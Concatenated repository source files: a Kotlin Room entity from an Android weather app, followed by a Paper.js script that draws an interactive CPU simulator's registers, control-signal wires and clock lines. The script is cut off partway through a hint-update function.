(String, String) -> LiveData<T>): LiveData<T> { return if (name.isBlank() || state.isBlank()) { AbsentLiveData.create() } else { f(name, state) } } } }<file_sep>package kevin.weather.vo import androidx.room.Entity import androidx.room.PrimaryKey @Entity data class Place( @PrimaryKey(autoGenerate = true) val id : Int = 0, val name : String, val state : String, val lat: Double, val lon: Double )
158262d9bbc44030b29761de391d3f9def2268ce
[ "Markdown", "Kotlin" ]
15
Kotlin
k-novacek/weather
88801f5896c446c7dec9853efaaed199a2986aad
d492f1c46c4a15807a4288050af4ab67b7ad95c6
refs/heads/master
<repo_name>kotiloli/kotiloli.github.io<file_sep>/simulator/js/drawGraphics.js var GREEN = '#336600'; var LIGHTGREEN = '#99FF66'; var RED = '#E31E1E'; var BLACK = 'black'; var clickedWireStrokeWidth = 6; var defaultWireStrokeWidth = 4; var hintX = -16; var hintY = -12; var activeWire; //cpu backgroung image var raster = new Raster('cpux'); raster.position = view.center; //Register Unit Drawings var registers = new boxList(73,275,70,100,4); registers.draw(); var R0 = new PointText(); R0.fillColor = 'black'; R0.fontWeight = 'bold'; R0.fontSize = '14px'; R0.content = '0x0000'; R0.set({position:registers.boxList[0].position}); var R1 = R0.clone(); R1.set({position:registers.boxList[1].position}); var R2 = R0.clone(); R2.set({position:registers.boxList[2].position}); var R3 = R0.clone(); R3.set({position:registers.boxList[3].position}); //ADDRRESS UNIT DRAWINGS var addressUnit = new boxList(70,123,70,50,2); addressUnit.draw(); var PC = new PointText(); PC.fillColor = 'black'; PC.fontWeight = 'bold'; PC.fontSize = '14px'; PC.content = '0x0000'; PC.set({position:addressUnit.boxList[1].position}); var AR = PC.clone(); AR.set({position:addressUnit.boxList[0].position}); // InstructionRegister Drawings var InstructionRegister = new boxList(591,82,70,25,1); InstructionRegister.draw(); var IR = new PointText(); IR.fillColor = 'black'; IR.fontWeight = 'bold'; IR.fontSize = '14px'; IR.content = '0x0000'; IR.set({position:InstructionRegister.boxList[0].position}); /* Code template var sig = new Path(); sig.strokeColor = BLACK; sig.strokeWidth = 4; */ var sigARINC = new Path(); sigARINC.add(new Point (375,225)); sigARINC.add(new Point (365,225)); sigARINC.add(new Point (365,175)); sigARINC.add(new Point (155,175)); sigARINC.strokeColor = BLACK; sigARINC.strokeWidth = 4; sigARINC.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigARINC.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigARINC.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var sigARLD = new Path(); sigARLD.add(new Point (415,206)); sigARLD.add(new Point (415,155)); sigARLD.add(new Point (155,155)); sigARLD.strokeColor = BLACK; sigARLD.strokeWidth = 4; sigARLD.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigARLD.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigARLD.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var sigARMUX = new Path(); sigARMUX.add(new Point (466,206)); sigARMUX.add(new Point (466,136)); sigARMUX.add(new Point (155,136)); sigARMUX.strokeColor = BLACK; sigARMUX.strokeWidth = 4; sigARMUX.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigARMUX.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigARMUX.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var sigPCLD = new Path(); sigPCLD.add(new Point (375,245)); sigPCLD.add(new Point (355,245)); sigPCLD.add(new Point (355,196)); sigPCLD.add(new Point (155,196)); sigPCLD.strokeColor = BLACK; sigPCLD.strokeWidth = 4; sigPCLD.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigPCLD.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigPCLD.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var sigPCINC = new Path(); sigPCINC.add(new Point (375,265)); sigPCINC.add(new Point (346,265)); sigPCINC.add(new Point (346,215)); sigPCINC.add(new Point (155,215)); sigPCINC.strokeColor = BLACK; sigPCINC.strokeWidth = 4; sigPCINC.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigPCINC.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigPCINC.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var sigREGWT = new Path(); sigREGWT.add(new Point (375,285)); sigREGWT.add(new Point (335,285)); sigREGWT.add(new Point (335,255)); sigREGWT.add(new Point (126,255)); sigREGWT.add(new Point (126,266)); sigREGWT.strokeColor = BLACK; sigREGWT.strokeWidth = 4; sigREGWT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigREGWT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigREGWT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var sigMEMWT = new Path(); sigMEMWT.add(new Point (506,235)); sigMEMWT.add(new Point (516,235)); sigMEMWT.add(new Point (516,125)); sigMEMWT.add(new Point (345,125)); sigMEMWT.add(new Point (366,125)); sigMEMWT.add(new Point (366,35)); sigMEMWT.add(new Point (381,35)); sigMEMWT.strokeColor = BLACK; sigMEMWT.strokeWidth = 4; sigMEMWT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigMEMWT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigMEMWT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var sigMEMREAD = new Path(); sigMEMREAD.add(new Point (325,125)); sigMEMREAD.add(new Point (305,125)); sigMEMREAD.add(new Point (305,95)); sigMEMREAD.strokeColor = BLACK; sigMEMREAD.strokeWidth = 4; sigMEMREAD.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigMEMREAD.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigMEMREAD.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var sigIRLD = new Path(); sigIRLD.add(new Point (506,255)); sigIRLD.add(new Point (556,255)); sigIRLD.add(new Point (556,126)); sigIRLD.strokeColor = BLACK; sigIRLD.strokeWidth = 4; sigIRLD.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigIRLD.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigIRLD.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var sigFLAGWT = new Path(); sigFLAGWT.add(new Point (436,336)); sigFLAGWT.add(new Point (436,435)); sigFLAGWT.strokeColor = BLACK; sigFLAGWT.strokeWidth = 4; sigFLAGWT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigFLAGWT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigFLAGWT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var sigMUX1 = new Path(); sigMUX1.add(new Point (506,306)); sigMUX1.add(new Point (516,306)); sigMUX1.add(new Point (516,536)); sigMUX1.add(new Point (85,536)); sigMUX1.add(new Point (85,520)); sigMUX1.strokeColor = BLACK; sigMUX1.strokeWidth = 4; sigMUX1.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigMUX1.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigMUX1.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var sigMUX0 = new Path(); sigMUX0.add(new Point (476,336)); sigMUX0.add(new Point (476,525)); sigMUX0.add(new Point (96,525)); sigMUX0.add(new Point (96,519)); sigMUX0.strokeColor = BLACK; sigMUX0.strokeWidth = 4; sigMUX0.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } sigMUX0.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } sigMUX0.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var wireZF = new Path(); wireZF.add(new Point (406,336)); wireZF.add(new Point (406,434)); wireZF.strokeColor = BLACK; wireZF.strokeWidth = 4; wireZF.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireZF.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireZF.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var clockPulsePosEdge = new Path(); clockPulsePosEdge.add(new Point (41,74)); clockPulsePosEdge.add(new Point (41,79)); clockPulsePosEdge.add(new Point (35,79)); clockPulsePosEdge.add(new Point (35,71)); clockPulsePosEdge.add(new Point (29,71)); clockPulsePosEdge.add(new Point (29,76)); clockPulsePosEdge.strokeColor = GREEN; clockPulsePosEdge.strokeWidth = 2; var clockPulseNegEdge = clockPulsePosEdge.clone(); clockPulsePosEdge.strokeColor = LIGHTGREEN; clockPulseNegEdge.scale(-1,1); clockPulseNegEdge.visible = false; //Clock Wires var wireCLOCK_CONTAINER = []; var wireCLOCK = new Path(); wireCLOCK.strokeColor = LIGHTGREEN; wireCLOCK.strokeWidth = 4; var temp = wireCLOCK.clone(); temp.add(new Point (35,46)); temp.add(new Point (35,65)); wireCLOCK_CONTAINER.push(temp); temp = wireCLOCK.clone(); temp.add(new Point (356,305)); temp.add(new Point (376,305)); wireCLOCK_CONTAINER.push(temp); temp = wireCLOCK.clone(); temp.add(new Point (36,205)); temp.add(new Point (66,205)); wireCLOCK_CONTAINER.push(temp); temp = wireCLOCK.clone(); temp.add(new Point (56,345)); temp.add(new Point (66,345)); wireCLOCK_CONTAINER.push(temp); temp = wireCLOCK.clone(); temp.add(new Point (516,105)); temp.add(new Point (536,105)); wireCLOCK_CONTAINER.push(temp); temp = wireCLOCK.clone(); temp.add(new Point (285,105)); temp.add(new Point (285,95)); wireCLOCK_CONTAINER.push(temp); temp = wireCLOCK.clone(); temp.add(new Point (385,475)); temp.add(new Point (396,475)); temp.add(new Point (396,457)); wireCLOCK_CONTAINER.push(temp); //OTHER WIRES //OTHER WIRES //OTHER WIRES //OTHER WIRES //OTHER WIRES var wireOPCODE = new Path(); wireOPCODE.add(new Point (586,126)); wireOPCODE.add(new Point (586,285)); wireOPCODE.add(new Point (506,285)); wireOPCODE.strokeColor = BLACK; wireOPCODE.strokeWidth = 4; wireOPCODE.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireOPCODE.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireOPCODE.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; //hint.content = baseConvert(emulator.IR.substr(0,4),2,16,1);wireOPCODE activeWire = 'wireOPCODE'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireALUCODE = new Path(); wireALUCODE.add(new Point (606,126)); wireALUCODE.add(new Point (606,426)); wireALUCODE.add(new Point (306,426)); wireALUCODE.add(new Point (306,466)); wireALUCODE.add(new Point (294,466)); wireALUCODE.strokeColor = BLACK; wireALUCODE.strokeWidth = 4; wireALUCODE.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireALUCODE.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireALUCODE.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; //hint.content = baseConvert(emulator.IR.substr(4,4),2,16,1);wireALUCODE activeWire = 'wireALUCODE'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireR2 = new Path(); wireR2.add(new Point (626,126)); wireR2.add(new Point (626,406)); wireR2.add(new Point (236,406)); wireR2.add(new Point (236,376)); wireR2.add(new Point (225,376)); wireR2.strokeColor = BLACK; wireR2.strokeWidth = 4; wireR2.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireR2.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireR2.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; //hint.content = baseConvert(emulator.IR.substr(8,2),2,16,1);wireR2 activeWire = 'wireR2'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireR3 = new Path(); wireR3.add(new Point (646,126)); wireR3.add(new Point (646,375)); wireR3.add(new Point (306,375)); wireR3.strokeColor = BLACK; wireR3.strokeWidth = 4; wireR3.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireR3.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireR3.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; //hint.content = baseConvert(emulator.IR.substr(11,2),2,16,1); activeWire = 'wireR3'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireR1 = new Path(); wireR1.add(new Point (666,126)); wireR1.add(new Point (666,415)); wireR1.add(new Point (116,415)); wireR1.add(new Point (116,376)); wireR1.strokeColor = BLACK; wireR1.strokeWidth = 4; wireR1.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireR1.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireR1.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; //hint.content = baseConvert(emulator.IR.substr(14,2),2,16,1);wireR1 activeWire = 'wireR1'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireJUMP_ADDR = new Path(); wireJUMP_ADDR.add(new Point (686,126)); wireJUMP_ADDR.add(new Point (686,166)); wireJUMP_ADDR.add(new Point (326,166)); wireJUMP_ADDR.add(new Point (326,245)); wireJUMP_ADDR.add(new Point (56,245)); wireJUMP_ADDR.add(new Point (56,176)); wireJUMP_ADDR.add(new Point (66,176)); wireJUMP_ADDR.strokeColor = BLACK; wireJUMP_ADDR.strokeWidth = 4; wireJUMP_ADDR.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireJUMP_ADDR.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireJUMP_ADDR.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; //hint.content = baseConvert(emulator.IR.substr(4,12),2,16,3);wireJUMP_ADDR activeWire = 'wireJUMP_ADDR'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireADDR_BUS= new Path(); wireADDR_BUS.add(new Point (215,55)); wireADDR_BUS.add(new Point (125,55)); wireADDR_BUS.add(new Point (125,116)); wireADDR_BUS.strokeColor = BLACK; wireADDR_BUS.strokeWidth = 4; wireADDR_BUS.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireADDR_BUS.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireADDR_BUS.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; //hint.content = baseConvert(emulator.AR,2,16,3);wireADDR_BUS activeWire = 'wireADDR_BUS'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireMEMORY_BUS= new Path(); wireMEMORY_BUS.add(new Point (356,55)); wireMEMORY_BUS.add(new Point (385,55)); wireMEMORY_BUS.add(new Point (385,43)); wireMEMORY_BUS.add(new Point (385,55)); wireMEMORY_BUS.add(new Point (726,55)); wireMEMORY_BUS.add(new Point (726,545)); wireMEMORY_BUS.add(new Point (146,545)); wireMEMORY_BUS.add(new Point (146,455)); wireMEMORY_BUS.add(new Point (96,455)); wireMEMORY_BUS.strokeColor = BLACK; wireMEMORY_BUS.strokeWidth = 4; wireMEMORY_BUS.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireMEMORY_BUS.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireMEMORY_BUS.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; /* if(isSet(emulator.sigs,'MEMWT')) hint.content = baseConvert(emulator.bigMuxOut,2,16,4); else hint.content = baseConvert(emulator.ram[parseInt(emulator.AR,2)],2,16,4);wireMEMORY_BUS*/ activeWire = 'wireMEMORY_BUS'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireALUOUT= new Path(); wireALUOUT.add(new Point (245,506)); wireALUOUT.add(new Point (245,515)); wireALUOUT.add(new Point (116,515)); wireALUOUT.add(new Point (116,466)); wireALUOUT.add(new Point (96,466)); wireALUOUT.strokeColor = BLACK; wireALUOUT.strokeWidth = 4; wireALUOUT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireALUOUT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireALUOUT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; //hint.content = baseConvert(emulator.getAluOut(),2,16,4);wireALUOUT activeWire = 'wireALUOUT'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireFLAGOUT = new Path(); wireFLAGOUT.add(new Point (284,495)); wireFLAGOUT.add(new Point (316,495)); wireFLAGOUT.add(new Point (316,446)); wireFLAGOUT.add(new Point (386,446)); wireFLAGOUT.strokeColor = BLACK; wireFLAGOUT.strokeWidth = 4; wireFLAGOUT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireFLAGOUT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireFLAGOUT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; } var wireMUX1OUT = new Path(); wireMUX1OUT.add(new Point (206,395)); wireMUX1OUT.add(new Point (206,446)); wireMUX1OUT.add(new Point (206,425)); wireMUX1OUT.add(new Point (165,425)); wireMUX1OUT.add(new Point (165,475)); wireMUX1OUT.add(new Point (96,475)); wireMUX1OUT.strokeColor = BLACK; wireMUX1OUT.strokeWidth = 4; wireMUX1OUT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireMUX1OUT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireMUX1OUT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; //hint.content = baseConvert(emulator.regfile[parseInt(emulator.IR.substr(8,2),2)],2,16,4);wireMUX1OUT activeWire = 'wireMUX1OUT'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireMUX2OUT = new Path(); wireMUX2OUT.add(new Point (286,395)); wireMUX2OUT.add(new Point (286,446)); wireMUX2OUT.add(new Point (286,435)); wireMUX2OUT.add(new Point (176,435)); wireMUX2OUT.add(new Point (176,485)); wireMUX2OUT.add(new Point (94,485)); wireMUX2OUT.strokeColor = BLACK; wireMUX2OUT.strokeWidth = 4; wireMUX2OUT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireMUX2OUT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireMUX2OUT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; //hint.content = baseConvert(emulator.regfile[parseInt(emulator.IR.substr(11,2),2)],2,16,4);wireMUX2OUT activeWire = 'wireMUX2OUT'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireMUX3OUT = new Path(); wireMUX3OUT.add(new Point (54,475)); wireMUX3OUT.add(new Point (5,475)); wireMUX3OUT.add(new Point (5,285)); wireMUX3OUT.add(new Point (66,285)); wireMUX3OUT.add(new Point (5,285)); wireMUX3OUT.add(new Point (5,145)); wireMUX3OUT.add(new Point (66,145)); wireMUX3OUT.add(new Point (5,145)); wireMUX3OUT.add(new Point (5,5)); wireMUX3OUT.add(new Point (386,5)); wireMUX3OUT.add(new Point (386,25)); wireMUX3OUT.strokeColor = BLACK; wireMUX3OUT.strokeWidth = 4; wireMUX3OUT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireMUX3OUT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireMUX3OUT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; //hint.content = baseConvert(emulator.getBigMuxOut(),2,16,4);wireMUX3OUT activeWire = 'wireMUX3OUT'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireREG0OUT = new Path(); wireREG0OUT.add(new Point (155,285)); wireREG0OUT.add(new Point (185,285)); wireREG0OUT.add(new Point (185,355)); wireREG0OUT.add(new Point (185,285)); wireREG0OUT.add(new Point (265,285)); wireREG0OUT.add(new Point (265,355)); wireREG0OUT.strokeColor = BLACK; wireREG0OUT.strokeWidth = 4; wireREG0OUT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireREG0OUT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireREG0OUT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; activeWire = 'wireREG0OUT'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireREG1OUT = new Path(); wireREG1OUT.add(new Point (155,305)); wireREG1OUT.add(new Point (195,305)); wireREG1OUT.add(new Point (195,355)); wireREG1OUT.add(new Point (195,305)); wireREG1OUT.add(new Point (275,305)); wireREG1OUT.add(new Point (275,355)); wireREG1OUT.strokeColor = BLACK; wireREG1OUT.strokeWidth = 4; wireREG1OUT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireREG1OUT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireREG1OUT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; activeWire = 'wireREG1OUT'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireREG2OUT = new Path(); wireREG2OUT.add(new Point (155,325)); wireREG2OUT.add(new Point (205,325)); wireREG2OUT.add(new Point (205,355)); wireREG2OUT.add(new Point (205,325)); wireREG2OUT.add(new Point (285,325)); wireREG2OUT.add(new Point (285,355)); wireREG2OUT.strokeColor = BLACK; wireREG2OUT.strokeWidth = 4; wireREG2OUT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireREG2OUT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireREG2OUT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; activeWire = 'wireREG2OUT'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } var wireREG3OUT = new Path(); wireREG3OUT.add(new Point (155,345)); wireREG3OUT.add(new Point (215,345)); wireREG3OUT.add(new Point (215,355)); wireREG3OUT.add(new Point (215,345)); wireREG3OUT.add(new Point (295,345)); wireREG3OUT.add(new Point (295,355)); wireREG3OUT.strokeColor = BLACK; wireREG3OUT.strokeWidth = 4; wireREG3OUT.onMouseEnter = function(event){ $('html,body').css('cursor','pointer'); } wireREG3OUT.onMouseLeave = function(event) { this.strokeWidth = defaultWireStrokeWidth; $('html,body').css('cursor','default'); } wireREG3OUT.onClick = function(event) { this.strokeWidth = clickedWireStrokeWidth; activeWire = 'wireREG3OUT'; hint.visible = true; hint.position = event.point; hint.translate(hintX,hintY); hintBackground.visible = true; hintBackground.position = event.point; hintBackground.translate(hintX,hintY); } //When user clicks to a wire, this will be used to show the wire state var hintBackground = new Path.Rectangle(0,0,34,12); hintBackground.fillColor = 'yellow'; hintBackground.visible = false; hintBackground.strokeColor = 'red'; hintBackground.strokeWidth = 1; var hint = new PointText(new Point(50, 50)); hint.justification = 'center'; hint.fillColor = 'black'; hint.content = '???'; hint.visible = false; hint.fontWeight = 'bold'; hint.fontSize = 9; var spinner = new Path(); spinner.add(new Point(5,545)); spinner.add(new Point(10,550)); spinner.strokeColor = BLACK; spinner.strokeWidth = 1; onFrame = function (event) { /*Paper JS refreshes the paintings 60 times per second. Reduce refresh ratio not to waste your device recources */ var refreshRate = 10 // refresh rate var mod = 60/refreshRate; updateHint(activeWire); if( (event.count%mod )== 0 ){ spinner.rotate(10); //Signals sigARMUX.strokeColor = window.globals.signal.ARMUX == 0 ? GREEN : LIGHTGREEN; sigARLD.strokeColor = window.globals.signal.ARLD == 0 ? GREEN : LIGHTGREEN; sigARINC.strokeColor = window.globals.signal.ARINC == 0 ? GREEN : LIGHTGREEN; sigPCINC.strokeColor = window.globals.signal.PCINC == 0 ? GREEN : LIGHTGREEN; sigPCLD.strokeColor = window.globals.signal.PCLD == 0 ? GREEN : LIGHTGREEN; sigREGWT.strokeColor = window.globals.signal.REGWT == 0 ? GREEN : LIGHTGREEN; sigMEMWT.strokeColor = window.globals.signal.MEMWT == 0 ? GREEN : LIGHTGREEN; sigMEMREAD.strokeColor = window.globals.signal.MEMWT == 1 ? GREEN : LIGHTGREEN; sigIRLD.strokeColor = window.globals.signal.IRLD == 0 ? GREEN : LIGHTGREEN; sigFLAGWT.strokeColor = window.globals.signal.ZFWT == 0 ? GREEN : LIGHTGREEN; sigMUX0.strokeColor = window.globals.signal.MUX0 == 0 ? GREEN : LIGHTGREEN; sigMUX1.strokeColor = window.globals.signal.MUX1 == 0 ? GREEN : LIGHTGREEN; wireZF.strokeColor = window.globals.wireZF == 0 ? GREEN : LIGHTGREEN; wireFLAGOUT.strokeColor = window.globals.wireFLAGOUT == 0 ? GREEN : LIGHTGREEN; R0.set({content:window.globals.regs.R0}); R1.set({content:window.globals.regs.R1}); R2.set({content:window.globals.regs.R2}); R3.set({content:window.globals.regs.R3}); AR.set({content:window.globals.regs.AR}); PC.set({content:window.globals.regs.PC}); IR.set({content:window.globals.regs.IR}); //FLAGS.set({content:window.globals.regs.FLAGS}); if(window.globals.clockState == 1){ clockPulsePosEdge.visible = true; clockPulseNegEdge.visible = false; for(var i in wireCLOCK_CONTAINER){ wireCLOCK_CONTAINER[i].strokeColor = LIGHTGREEN; } } else { clockPulsePosEdge.visible = false; clockPulseNegEdge.visible = true; for(var i in wireCLOCK_CONTAINER){ wireCLOCK_CONTAINER[i].strokeColor = GREEN; } } } }; function boxList(ix,iy,w,h,hg){ this.pos = new Point(ix,iy); this.width = w; this.height = h; this.horizontalGrids = hg; this.cellWidth = this.width; this.cellHeight = this.height / this.horizontalGrids; this.boxList = []; this.activeBox = null; this.draw = function(){ var temp = new Path.Rectangle(this.pos.x,this.pos.y,this.cellWidth,this.cellHeight); temp.strokeColor = 'black'; temp.fillColor = 'white'; temp.strokeWidth = 1; for(var i=0;i<this.horizontalGrids;i++){ var box = temp.clone(); this.boxList.push(box); temp.position += new Point(0,this.cellHeight); } temp.remove(); }; this.selectActiveBox = function(index) { if (this.activeBox != null) { this.activeBox.position = this.boxList[0].position + new Point(0,index*this.cellHeight); } else { this.activeBox = new Path.Rectangle(this.pos.x, (index) * this.cellHeight + this.pos.y, this.cellWidth, this.cellHeight); this.activeBox.strokeColor = 'red'; this.activeBox.strokeWidth = 2; } } }; /*var myPath = new Path(); myPath.strokeColor = 'green'; myPath.strokeWidth = 2; function onMouseDown(event) { myPath.add(event.point); //var str = window.globals.elem.val(); var str = 'sig.add(new Point (' + Math.round(event.point.x) + ',' + Math.round(event.point.y) + '));'; console.log(str); //window.globals.elem.val(str); }*/ function onMouseDown(event){ if(hint.visible == true){ hint.visible = false; hintBackground.visible = false; } } function baseConvert(numStr,from,to,length){ if(to == 16) return '0x' + charPreceding(parseInt(numStr,from).toString(to),'0',length); else if(to == 2) return '0b' + parseInt(numStr,from).toString(to); else if(to == 8) return '0o' + parseInt(numStr,from).toString(to); else return parseInt(numStr,from).toString(to); } function charPreceding(str,char,length){ for(var i=0;i<20;i++) char += char; var output = char + str; return output.substr(-1*length); } function updateHint(wirename){ switch (wirename){ case 'wireOPCODE': hint.content = baseConvert(emulator.IR.substr(0,4),2,16,1); break; case 'wireALUCODE': hint.content = baseConvert(emulator.IR.substr(4,4),2,16,1); break; case 'wireR2': hint.content = baseConvert(emulator.IR.substr(8,2),2,16,1); break; case 'wireR3': hint.content = baseConvert(emulator.IR.substr(11,2),2,16,1); break; case 'wireR1': hint.content = baseConvert(emulator.IR.substr(14,2),2,16,1); break; case 'wireJUMP_ADDR': hint.content = baseConvert(emulator.IR.substr(4,12),2,16,3); break; case 'wireADDR_BUS': hint.content = baseConvert(emulator.AR,2,16,3); break; case 'wireMEMORY_BUS': if(isSet(emulator.sigs,'MEMWT')) hint.content = baseConvert(emulator.bigMuxOut,2,16,4); else hint.content = baseConvert(emulator.ram[parseInt(emulator.AR,2)],2,16,4); break; case 'wireALUOUT': hint.content = 